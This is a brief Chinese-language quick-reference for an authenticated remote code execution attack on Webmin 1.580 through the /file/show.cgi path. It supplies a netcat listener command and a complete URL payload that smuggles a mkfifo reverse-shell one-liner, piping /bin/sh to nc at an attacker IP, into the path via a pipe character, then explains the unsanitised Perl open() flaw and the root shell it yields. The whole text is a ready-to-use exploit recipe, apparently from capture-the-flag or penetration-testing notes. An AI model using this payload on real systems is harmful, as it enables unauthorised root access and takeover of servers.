
关于通过 /file/show.cgi 组件在 Webmin 1.580 上执行经过身份验证的远程代码执行 (RCE) 的快速参考。
在本地机器上运行此命令以在执行负载之前捕获传入的连接:
rlwrap nc -lnvp 4444
将以下 URL 直接粘贴到浏览器的地址栏中(确保您已先登录 Webmin 仪表盘):
http://127.0.0.1:10001/file/show.cgi/bin/sysinfo.cgi|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_ATTACK_IP> 4444 >/tmp/f|
注意:记得将 <YOUR_ATTACK_IP> 替换为您实际的本地或隧道 IP 地址,以及目标的 IP 和端口。
漏洞:在 /file/show.cgi 中,传递给 Perl 内部 open() 函数的内联路径信息未充分清理。附加管道符 (|) 允许以 root 权限执行任意命令。
身份验证:这需要有效的会话。浏览器自动处理身份验证,当您提交 URL 负载时,它会发送您当前的会话 Cookie。
预期行为:按回车键后,浏览器标签页将旋转并看似无限挂起。这确认服务器线程已成功被劫持以维护交互式 Shell 会话。